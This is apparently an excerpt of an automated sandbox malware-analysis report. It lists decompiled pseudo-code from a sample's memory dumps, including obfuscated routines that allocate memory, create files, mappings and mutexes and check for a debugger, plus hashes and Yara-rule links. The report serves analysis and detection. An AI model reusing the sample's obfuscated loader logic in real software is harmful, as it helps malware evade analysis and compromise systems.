0x00000000
0x010da6d5
0x010da6ab
0x010da6b0
0x010da6b1
0x010da6b3
0x00000000
0x00000000
0x010da6b3
0x00000000
0x010da6b5
0x010da68e
0x010da694
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,010D9C5E,00000001,00000364,?,010D4B88,?), ref: 010DA6BE

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f4d64c4f9cbe079e232e0d0c0cc025cf8db8e7e5c03cae573f22a41621453af5
Instruction ID: cbf85c8c4f9f8b8c63e3b5c52081c2d142083dd2d88fc1e82f5363d968561ff9
Opcode Fuzzy Hash: f4d64c4f9cbe079e232e0d0c0cc025cf8db8e7e5c03cae573f22a41621453af5
Instruction Fuzzy Hash: D8F0E931704321EBEF615B6A9800A9B3F89BFE8670B044065F9D6EB190DB30D40086E4

Uniqueness

Uniqueness Score: -1.00%

Function 010DBD19 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E010DBD19(void* __ecx, long _a4) {
				void* __esi;
				void* _t4;
				void* _t6;
				void* _t7;
				long _t8;

				_t7 = __ecx;
				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E010D9826())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x116e1b0, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E010DC742();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E010DC6AC(_t7, _t8, __eflags, _t8);
					_pop(_t7);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x010dbd19
0x010dbd1f
0x010dbd25
0x010dbd57
0x010dbd5c
0x010dbd62
0x00000000
0x010dbd62
0x010dbd29
0x010dbd2b
0x010dbd2b
0x010dbd42
0x010dbd4b
0x010dbd53
0x00000000
0x00000000
0x010dbd33
0x010dbd35
0x00000000
0x00000000
0x010dbd38
0x010dbd3d
0x010dbd3e
0x010dbd40
0x00000000
0x00000000
0x010dbd40
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,010DA5A1,00000000), ref: 010DBD4B

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 449f5bffe24e75e1c2ad893ff2823bcfc1253cbbc7b78d40d3460a74173c8a4a
Instruction ID: 357a2ba785259e5b184b95842ef591424f9971c5763360c737dc7e0a68b54e78
Opcode Fuzzy Hash: 449f5bffe24e75e1c2ad893ff2823bcfc1253cbbc7b78d40d3460a74173c8a4a
Instruction Fuzzy Hash: 37E065315053259BEA7136AA9D00BAA3BCCAB436A0F570161EDD59A1A0FB21D80082E6

Uniqueness

Uniqueness Score: -1.00%

Function 010D47E0 Relevance: 1.4, APIs: 1, Instructions: 111
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E010D47E0(signed int _a4, intOrPtr _a8, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				long _v44;
				long _v48;
				intOrPtr _t74;
				void* _t82;
				intOrPtr _t84;
				intOrPtr _t87;
				intOrPtr _t94;
				intOrPtr _t107;
				intOrPtr _t123;
				intOrPtr _t127;

				_v28 = _a16 - 0x2598;
				_v36 = _a24 + 0x14d;
				_v24 = _a20 - 0xce;
				_v8 = _a4 ^ 0x000002bf;
				_v40 = _a24 + 0x221;
				_v16 = _a16 ^ 0x00000221;
				_v32 = _a20 + 0x1ce;
				if(_v8 == _v40 - 0x219) {
					_v12 = _v28;
					while(_v12 < (_v16 & 0x0000253b) - 0x2633) {
						_t94 =  *0x116d5ec; // 0x116d5f0
						_v20 =  *((intOrPtr*)(_t94 + 0xbadc65));
						while(1) {
							_t74 =  *0x116d5ec; // 0x116d5f0
							if(_v20 <= (_v16 | 0x00002801) +  *((intOrPtr*)(_t74 + 0xbadc81))) {
								break;
							}
							_v24 = ( *(_a8 + 0xec) & 0x00002796) -  *((intOrPtr*)(_a8 + 0xbadbed)) + _v24;
							_v20 = _v20 + 3;
						}
						_v12 = _v12 + 4;
					}
				} else {
					if( *((intOrPtr*)(_a8 + 0xb0)) <= 0xd708) {
						_v48 = 0x3000;
						_t123 =  *0x116d5ec; // 0x116d5f0
						_t26 = _t123 + 0x8c; // 0x0
						_v44 =  *_t26 + 0x40;
						_t82 = VirtualAlloc(0,  *(_a8 + 0x24), _v48, _v44); // executed
						 *0x116d684 = _t82 + 0x2000;
					} else {
						_t87 =  *0x116d5ec; // 0x116d5f0
						_t23 = _t87 + 0xdc; // 0x8
						_t107 =  *0x116d5ec; // 0x116d5f0
						 *(_t107 + 0xdc) = ( *(_a8 + 0x9c) ^  *(_a8 + 0x8c)) + 0x0001cd0c |  *_t23;
					}
					_t84 =  *0x116d5ec; // 0x116d5f0
					_t34 = _t84 + 0x78; // 0x79aca
					_t127 =  *0x116d5ec; // 0x116d5f0
					 *((intOrPtr*)(_t127 + 0x5c)) =  *_t34 +  *(_a8 + 0x8c) - 0x4b764;
				}
				return _v32 ^ 0x0000003b;
			}

0x010d47ee
0x010d47fa
0x010d4806
0x010d4811
0x010d481d
0x010d4829
0x010d4834
0x010d4843
0x010d48f2
0x010d4900
0x010d491c
0x010d4929
0x010d4937
0x010d4948
0x010d4957
0x00000000
0x00000000
0x010d497a
0x010d4934
0x010d4934
0x010d48fd
0x010d48fd
0x010d4849
0x010d4856
0x010d4889
0x010d4890
0x010d4896
0x010d489f
0x010d48b3
0x010d48be
0x010d4858
0x010d4870
0x010d4875
0x010d487b
0x010d4881
0x010d4881
0x010d48c9
0x010d48ce
0x010d48e1
0x010d48e7
0x010d48e7
0x010d498d

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,?), ref: 010D48B3

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7b0a2dc1b6b77930e7ca87b99b6b0c805da7631444b1f4f017382d04709f153a
Instruction ID: 7c4af7debc04e59c1796ccf809831889e8eb191aea07971223e78fef342ef668
Opcode Fuzzy Hash: 7b0a2dc1b6b77930e7ca87b99b6b0c805da7631444b1f4f017382d04709f153a
Instruction Fuzzy Hash: 6A51DA70A00209DFEB08CF98D594BADBBB2FB88304F14C27AD855AB745D735A951CF94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 010D2800 Relevance: 4.9, APIs: 3, Instructions: 355
fileCOMMONCrypto

Download Yara Rule

C-Code - Quality: 68%

			E010D2800(intOrPtr _a4, signed int _a8, signed int _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v60;
				intOrPtr _v64;
				signed int _v68;
				void* _v72;
				long _v76;
				long _v80;
				struct _SECURITY_ATTRIBUTES* _v84;
				long _v88;
				long _v92;
				CHAR* _v96;
				int* _v100;
				char* _v104;
				int _v108;
				char* _v112;
				int _v116;
				short* _v120;
				int _v124;
				int _v128;
				intOrPtr _t296;
				intOrPtr _t331;
				intOrPtr _t332;
				intOrPtr _t345;
				intOrPtr _t350;
				intOrPtr _t360;
				intOrPtr _t376;
				signed int _t414;
				intOrPtr _t446;
				intOrPtr _t454;
				intOrPtr _t468;

				_v8 = _a20 - 0x2796;
				_v32 = _a8 + 0x254;
				_v16 = _a12 - 0x2506;
				_v12 = _a16 ^ 0x000026e5;
				_v20 = _a8 ^ 0x00002565;
				_v24 = _a12;
				_v28 = _a24 - 0x54;
				if(_v20 > _v16 + 0x2633) {
					_v36 = _v8;
					while(_v36 >= ( *(_a4 + 0x9c) ^  *(_a4 + 0x50))) {
						 *(_a4 + 0xf4) = _v28 | _v28 |  *(_a4 + 0xf4);
						_t331 =  *0x116d5ec; // 0x116d5f0
						_t332 =  *0x116d5ec; // 0x116d5f0
						 *((intOrPtr*)(_t332 + 0xbadca9)) =  *((intOrPtr*)(_t331 + 0xbadca9)) - (_v20 | _v16);
						 *0x116d6a0 =  *(_a4 + 0x38) - _v32;
						_v68 = _v12 - 0x00002565 ^ _v16;
						__imp__GetCurrentActCtx(_v68);
						_v96 =  *(_a4 + 0xbadbc1) ^ _v28 | _v20;
						_v92 = _v20 *  *(_a4 + 0x38) - 0x2628;
						_t414 =  *0x116d6cc; // 0x8
						_v88 = (_t414 | 0x000025a0) ^  *(_a4 + 0x4c);
						_v84 = _v12 -  *((intOrPtr*)(_a4 + 0xdc)) | 0x00002598;
						_v80 = _v16 -  *0x0116D620;
						_v76 = _v24 +  *((intOrPtr*)(_a4 + 0x8c));
						_t345 =  *0x116d5ec; // 0x116d5f0
						_t180 = _t345 + 0x9c; // 0x14b95e
						_v72 =  *((intOrPtr*)(_a4 + 0xdc)) +  *_t180;
						CreateFileA(_v96, _v92, _v88, _v84, _v80, _v76, _v72);
						_v16 = (_v8 * 0x27b9 +  *((intOrPtr*)(_a4 + 0xbadc71))) * _v16;
						_t350 =  *0x116d5ec; // 0x116d5f0
						_v128 = ( *(_t350 + 0xbadbed) &  *(_a4 + 0xac)) * 0x283a;
						_v124 = _v8 - _v20 & _v28;
						_v120 =  *0x0116D6B4 | _v12 | 0x000025a0;
						_v116 = _v8 * _v24;
						_v112 =  *(_a4 + 0xb4) ^  *0x01D1B271 | 0x00002674;
						_v108 = _v20 - _v32 - 0x26e5;
						_v104 = _v24 +  *(_a4 + 0xec) |  *(_a4 + 0xb0);
						_t360 =  *0x116d5ec; // 0x116d5f0
						_v100 =  *(_a4 + 0xb4) + _v24 -  *((intOrPtr*)(_t360 + 4));
						WideCharToMultiByte(_v128, _v124, _v120, _v116, _v112, _v108, _v104, _v100);
						_v36 = _v36 + 3;
					}
				} else {
					_v8 = _v8 ^ 0x00002565;
					 *((intOrPtr*)(_a4 + 0x10)) = 0xa;
					 *0x0116D604 = 1;
					 *(_a4 + 0xbadbdd) = 1;
					 *(_a4 + 0x38) = 1;
					_t446 =  *0x116d5ec; // 0x116d5f0
					 *((intOrPtr*)(_t446 + 0x3c)) = 0x4e;
					 *0x0116D630 = 1;
					 *((intOrPtr*)(_a4 + 0xbadbfd)) = 2;
					 *0x0116D664 = 0;
					 *((intOrPtr*)(_a4 + 0x78)) = 0xe;
					 *0x0116D66C = 0xa;
					 *0x116d67c = 0;
					_t296 =  *0x116d5ec; // 0x116d5f0
					 *((intOrPtr*)(_t296 + 0x9c)) = 0x20;
					 *(_a4 + 0xa4) = 0;
					 *(_a4 + 0xac) = 1;
					 *(_a4 + 0xb0) = 0;
					 *(_a4 + 0xb4) = 0;
					 *((intOrPtr*)(_a4 + 0xb8)) = 0xf;
					_t454 =  *0x116d5ec; // 0x116d5f0
					 *(_t454 + 0xbadc71) = 1;
					_t376 =  *0x116d5ec; // 0x116d5f0
					 *((intOrPtr*)(_t376 + 0xbadc81)) = 0x26;
					 *((intOrPtr*)(_a4 + 0xdc)) = 8;
					 *((intOrPtr*)(_a4 + 0xe0)) = 2;
					 *((intOrPtr*)(_a4 + 0xe4)) = 0xc;
					 *(_a4 + 0xec) = 1;
					 *(_a4 + 0xf4) = 0;
					 *(_a4 + 0xfc) = 1;
					_v16 = _v16 ^ 0x000026d4;
					_v16 = _v16 + 0xe5;
					_v20 = _v20 + 0x2674;
					_v28 = _v28 ^ 0x00000047;
					_v12 = _v12 ^ 0x00002628;
					_v32 = _v32 - 0x145;
					_v24 = _v24 + 0x181;
					_v24 = _v24 + 0x10f;
					_v20 = _v20 ^ 0x000001cd;
					_v8 = _v8 ^ 0x000003b1;
					_v8 = _v8 + 0x166;
					_v12 = _v12 + 0x4c;
					_v12 = _v12 ^ 0x000001e2;
					_v28 = _v28 - 0x139;
					_t468 =  *0x116d5ec; // 0x116d5f0
					_v64 = _t468;
					_v60 = _v12;
					_v56 = _v20 + 0x81;
					_v52 = _v12 - 0x231;
					_v48 = _v12 - 0x25b;
					_v44 = _v16;
					_v40 = _v12 - 0x122;
					_v8 = E010E8850(_v64, _v60, _v56, _v52, _v48, _v44, _v40);
					_v24 = _v24 - 0x1fe;
					_v32 = _v32 ^ 0x000002b3;
				}
				return _v32 + 0x373;
			}

0x010d280e
0x010d281a
0x010d2826
0x010d2831
0x010d283d
0x010d2843
0x010d284c
0x010d285b
0x010d2b38
0x010d2b46
0x010d2b79
0x010d2b8d
0x010d2ba4
0x010d2baa
0x010d2bba
0x010d2bcb
0x010d2bd2
0x010d2bed
0x010d2c00
0x010d2c03
0x010d2c1e
0x010d2c33
0x010d2c47
0x010d2c56
0x010d2c62
0x010d2c68
0x010d2c6e
0x010d2c8d
0x010d2caf
0x010d2cba
0x010d2cd3
0x010d2cdf
0x010d2cf9
0x010d2d03
0x010d2d22
0x010d2d31
0x010d2d49
0x010d2d60
0x010d2d6a
0x010d2d8d
0x010d2b43
0x010d2b43
0x010d2861
0x010d286a
0x010d2878
0x010d2888
0x010d289d
0x010d28a8
0x010d28af
0x010d28b5
0x010d28c4
0x010d28d9
0x010d28e9
0x010d28f6
0x010d2905
0x010d290f
0x010d2919
0x010d291e
0x010d2933
0x010d2941
0x010d294e
0x010d295b
0x010d2970
0x010d2982
0x010d2988
0x010d299b
0x010d29a1
0x010d29af
0x010d29bc
0x010d29c9
0x010d29d6
0x010d29e3
0x010d29f8
0x010d2a0c
0x010d2a18
0x010d2a23
0x010d2a32
0x010d2a3d
0x010d2a49
0x010d2a55
0x010d2a60
0x010d2a6c
0x010d2a78
0x010d2a83
0x010d2a8c
0x010d2a98
0x010d2aaa
0x010d2aad
0x010d2ab3
0x010d2ab9
0x010d2ac5
0x010d2ad1
0x010d2adc
0x010d2ae2
0x010d2aee
0x010d2b15
0x010d2b21
0x010d2b2d
0x010d2b2d
0x010d2da3

APIs

GetCurrentActCtx.KERNEL32(?), ref: 010D2BD2
CreateFileA.KERNEL32(?,?,?,?,?,?,?), ref: 010D2C8D

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: CreateCurrentFile
String ID:
API String ID: 2953019475-0
Opcode ID: 6dabe59a5c8bf2476201065a1abbcf9c6e67583d4f2191c27ea9fd60d1e92ff9
Instruction ID: 8c6e649b17ce20baabb362676045753631d255ac1832868d5d2e20983baa8380
Opcode Fuzzy Hash: 6dabe59a5c8bf2476201065a1abbcf9c6e67583d4f2191c27ea9fd60d1e92ff9
Instruction Fuzzy Hash: 4602ED70A00209DFEB08CF98D594BAEBBB1FF88304F50C169D959AB795D735AA41CF84

Uniqueness

Uniqueness Score: -1.00%

Function 010D1000 Relevance: 4.8, APIs: 3, Instructions: 326
synchronizationCOMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E010D1000() {
				intOrPtr _t212;
				intOrPtr _t248;
				signed int _t249;
				intOrPtr _t304;
				intOrPtr _t305;
				intOrPtr _t319;
				intOrPtr _t328;
				intOrPtr _t329;
				intOrPtr _t336;
				intOrPtr _t355;
				intOrPtr _t368;
				short** _t433;
				void* _t435;

				_t433 = _t435 - 0x64;
				_t433[0x18] = _t433[0x1b];
				_t433[0x17] = _t433[0x1c] - 0xbd;
				_t433[0x13] = _t433[0x1c] ^ 0x000003e3;
				_t433[0x14] = _t433[0x1e] ^ 0x000001fc;
				_t433[0x15] = _t433[0x1f] ^ 0x0000253b;
				_t433[0x12] = _t433[0x1c] - 0x1df;
				_t433[0x16] = _t433[0x1e] ^ 0x00000cc6;
				if(_t433[0x16] < (_t433[0x13] ^ 0x00000290)) {
					L11:
					return  &(_t433[0x13][0xef]);
				}
				if(_t433[0x15] >  &(_t433[0x14][0x17f])) {
					_t212 =  *0x116d5ec; // 0x116d5f0
					_t108 = _t212 + 0xdc; // 0x8
					if(_t433[0x18] >= ( *_t108 - _t433[0x13] | _t433[0x1d][0x76])) {
						_t368 =  *0x116d5ec; // 0x116d5f0
						if( *((intOrPtr*)(_t368 + 0xb4)) >= (_t433[0x17] | _t433[0x1d][0x70] | _t433[0x16])) {
							 *(_t433 - 8) =  &(_t433[0x12][0x12cc]) ^ 0x00002687;
							 *(_t433 - 4) = (_t433[0x17] ^ _t433[0x16]) - _t433[0x1d][0x76];
							 *_t433 = _t433[0x1d][0x5d6e38] ^ _t433[0x1d][0x5c];
							_t433[1] = (_t433[0x16] | _t433[0x12]) ^ 0x0000283a;
							_t304 =  *0x116d5ec; // 0x116d5f0
							_t305 =  *0x116d5ec; // 0x116d5f0
							_t433[2] = ( *(_t304 + 0xc4) & _t433[0x15]) -  *((intOrPtr*)(_t305 + 0xbadbb1));
							_t433[3] = _t433[0x1d][0x68] -  *0x116d6a0 - _t433[0x1d][0x72];
							_t433[4] = _t433[0x1d][0x58] &  *0x116d628 ^ _t433[0x1d][0x5d6e32];
							_t433[5] = _t433[0x1d][0x56] | 0x00002598 | _t433[0x16];
							WideCharToMultiByte( *(_t433 - 8),  *(_t433 - 4),  *_t433, _t433[1], _t433[2], _t433[3], _t433[4], _t433[5]);
							 *(_t433 - 0x20) =  &(_t433[0x16][0x136a]);
							 *(_t433 - 0x1c) = _t433[0x15] + _t433[0x1d][0x5d6e40] & _t433[0x1d][0x5d6e54];
							 *(_t433 - 0x18) = _t433[0x14] - _t433[0x16];
							 *(_t433 - 0x14) = _t433[0x14] & _t433[0x18] & 0x000026d4;
							 *(_t433 - 0x10) = _t433[0x13] * 0x00002801 | 0x000027b9;
							_t319 =  *0x116d5ec; // 0x116d5f0
							 *(_t433 - 0xc) =  *(_t319 + 0xbadc29) ^ _t433[0x1d][0x70];
							CreateFileMappingA( *(_t433 - 0x20),  *(_t433 - 0x1c),  *(_t433 - 0x18),  *(_t433 - 0x14),  *(_t433 - 0x10),  *(_t433 - 0xc));
							_t248 =  *0x116d5ec; // 0x116d5f0
							_t193 = _t248 + 0x3c; // 0x161485
							 *(_t433 - 0x2c) =  *0x0116D6A8 -  *_t193 | 0x00002598;
							 *(_t433 - 0x28) = _t433[0x15] - _t433[0x18] - _t433[0x17];
							_t249 =  *0x116d6cc; // 0x8
							 *(_t433 - 0x24) = _t249 & _t433[0x16];
							CreateMutexA( *(_t433 - 0x2c),  *(_t433 - 0x28),  *(_t433 - 0x24));
						}
					}
					goto L11;
				}
				_t328 =  *0x116d5ec; // 0x116d5f0
				_t23 = _t328 + 0xac; // 0x1a0e74
				_t329 =  *0x116d5ec; // 0x116d5f0
				 *((intOrPtr*)(_t329 + 0xac)) = _t433[0x1d][0x20] -  *0x116d68c +  *_t23 + 0x2ec7d0;
				_t433[0xc] =  &(_t433[0x18][0x45]);
				_t433[0xd] =  &(_t433[0x18][4]);
				_t433[0xe] = _t433[0x15] ^ 0x000027b9;
				_t433[0xf] = _t433[0x1d];
				_t433[0x10] = _t433[0x15] ^ 0x000026d4;
				_t433[0x11] = _t433[0x18] ^ 0x000003ec;
				_push(_t433[0x11]);
				_t433[0x17] = E010E8330(_t433[0xc], _t433[0xd], _t433[0xe], _t433[0xf], _t433[0x10]);
				_t433[0x18] = _t433[0x18] ^ 0x0000031f;
				_t336 =  *0x116d5ec; // 0x116d5f0
				_t433[0x1d][0x60] = ( *(_t336 + 0xbadbfd) ^ _t433[0x1d][0x1c]) + _t433[0x1d][0x60] - 0x114023;
				if(_t433[0x1d][0x6e] == _t433[0x1d][0x70]) {
					_t433[0x1d][0x20] = _t433[0x1d][0x76] - _t433[0x1d][0xa] ^ _t433[0x1d][0x20];
				} else {
					 *((intOrPtr*)(0x116d6a8)) =  *((intOrPtr*)(0x116d6a8)) - (_t433[0x1d][0x76] - _t433[0x1d][0x58] ^ 0x000a4f8c);
				}
				_t433[6] = _t433[0x13] + 0x2b3;
				_t433[7] = _t433[0x12] ^ 0x0000032e;
				_t433[8] = 0x116d5f0;
				_t433[9] = _t433[0x18] - 0x122;
				_t433[0xa] =  &(_t433[0x17][0x61]);
				_t433[0xb] = _t433[0x15] + 0x2565;
				_t433[0x17] = E010D3250(_t433[6], _t433[7], _t433[8], _t433[9], _t433[0xa], _t433[0xb]);
				_t433[0x17] =  &(_t433[0x17][0x6a]);
				_t433[0x14] = _t433[0x14] ^ 0x0000005e;
				if(_t433[0x1d][0x3a] != _t433[0x1d][0x5d6dee]) {
					_t355 =  *0x116d5ec; // 0x116d5f0
					_t107 = _t355 + 0xf4; // 0xd3256746
					 *0x116d60c =  *_t107 + 0x32e9448;
				}
				goto L11;
			}

0x010d1001
0x010d100f
0x010d101b
0x010d1027
0x010d1032
0x010d103e
0x010d104a
0x010d1055
0x010d1064
0x010d14ad
0x010d14bc
0x010d14bc
0x010d1076
0x010d1286
0x010d128b
0x010d12a0
0x010d12b5
0x010d12c1
0x010d12d4
0x010d12e6
0x010d130d
0x010d131c
0x010d1327
0x010d133e
0x010d1348
0x010d136c
0x010d1390
0x010d13a4
0x010d13c7
0x010d13d5
0x010d13ff
0x010d1408
0x010d1417
0x010d1427
0x010d1431
0x010d1444
0x010d145f
0x010d146d
0x010d1478
0x010d1481
0x010d148d
0x010d1490
0x010d1498
0x010d14a7
0x010d14a7
0x010d12c1
0x00000000
0x010d12a0
0x010d1091
0x010d1097
0x010d10a4
0x010d10aa
0x010d10b9
0x010d10c2
0x010d10ce
0x010d10d4
0x010d10df
0x010d10eb
0x010d10f1
0x010d110e
0x010d111a
0x010d1125
0x010d1148
0x010d1160
0x010d11cc
0x010d1162
0x010d1192
0x010d1192
0x010d11d9
0x010d11e5
0x010d11e8
0x010d11f7
0x010d1203
0x010d120f
0x010d1232
0x010d123d
0x010d1246
0x010d1267
0x010d1269
0x010d126f
0x010d127b
0x010d127b
0x00000000

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?), ref: 010D13C7
CreateFileMappingA.KERNEL32 ref: 010D145F
CreateMutexA.KERNEL32(?,?,?), ref: 010D14A7

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: Create$ByteCharFileMappingMultiMutexWide
String ID:
API String ID: 960205867-0
Opcode ID: 0b2dd247a4acffde8deb07ecbb7b88ef2d3e22be609cd7be277f3de811887f76
Instruction ID: 9ec583c691ae515567c479e8e32bc151baf14f1d16d6c6d1876fe4ff08b39995
Opcode Fuzzy Hash: 0b2dd247a4acffde8deb07ecbb7b88ef2d3e22be609cd7be277f3de811887f76
Instruction Fuzzy Hash: 9DF10475600148CFDB18CFA9D594AAA7BF6FF88304F548269EA198B395C735EC42CF84

Uniqueness

Uniqueness Score: -1.00%

Function 010D95A0 Relevance: 4.6, APIs: 3, Instructions: 78
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 58%

			E010D95A0(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4, char _a8, char _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				intOrPtr _v808;
				char _v812;
				signed int _t40;
				char* _t47;
				intOrPtr _t49;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr _t67;
				int _t68;
				intOrPtr _t69;
				signed int _t70;

				_t69 = __esi;
				_t67 = __edi;
				_t66 = __edx;
				_t61 = __ebx;
				_t40 =  *0x116dd74; // 0x2e3e64ca
				_t41 = _t40 ^ _t70;
				_v8 = _t40 ^ _t70;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E010DDF2A(_t41);
					_pop(_t62);
				}
				E010DF070(_t67,  &_v804, 0, 0x50);
				E010DF070(_t67,  &_v724, 0, 0x2cc);
				_v812 =  &_v804;
				_t47 =  &_v724;
				_v808 = _t47;
				_v548 = _t47;
				_v552 = _t62;
				_v556 = _t66;
				_v560 = _t61;
				_v564 = _t69;
				_v568 = _t67;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_t23 =  &_v0; // 0x15ff5756
				_v540 =  *_t23;
				_t25 =  &_v0; // 0x10d9cb7
				_t49 = _t25;
				_v528 = _t49;
				_v724 = 0x10001;
				_t28 = _t49 - 4; // 0x53ff8bcc
				_v544 =  *_t28;
				_t30 =  &_a8; // 0xdb33f08b
				_v804 =  *_t30;
				_t32 =  &_a12; // 0x16d70ca1
				_v800 =  *_t32;
				_t34 =  &_v0; // 0x15ff5756
				_v792 =  *_t34;
				_t68 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				_t36 =  &_v812; // 0x10d998b
				if(UnhandledExceptionFilter(_t36) == 0 && _t68 == 0 && _a4 != 0xffffffff) {
					_t38 =  &_a4; // 0x10e9064
					_push( *_t38);
					E010DDF2A(_t57);
				}
				_t39 =  &_v8; // 0x987
				return E010DDC5F( *_t39 ^ _t70);
			}

0x010d95a0
0x010d95a0
0x010d95a0
0x010d95a0
0x010d95ab
0x010d95b0
0x010d95b2
0x010d95ba
0x010d95bc
0x010d95bf
0x010d95c4
0x010d95c4
0x010d95d0
0x010d95e3
0x010d95f1
0x010d95f7
0x010d95fd
0x010d9603
0x010d9609
0x010d960f
0x010d9615
0x010d961b
0x010d9621
0x010d9627
0x010d962e
0x010d9635
0x010d963c
0x010d9643
0x010d964a
0x010d9651
0x010d9652
0x010d9658
0x010d965b
0x010d9661
0x010d9661
0x010d9664
0x010d966a
0x010d9674
0x010d9677
0x010d967d
0x010d9680
0x010d9686
0x010d9689
0x010d968f
0x010d9692
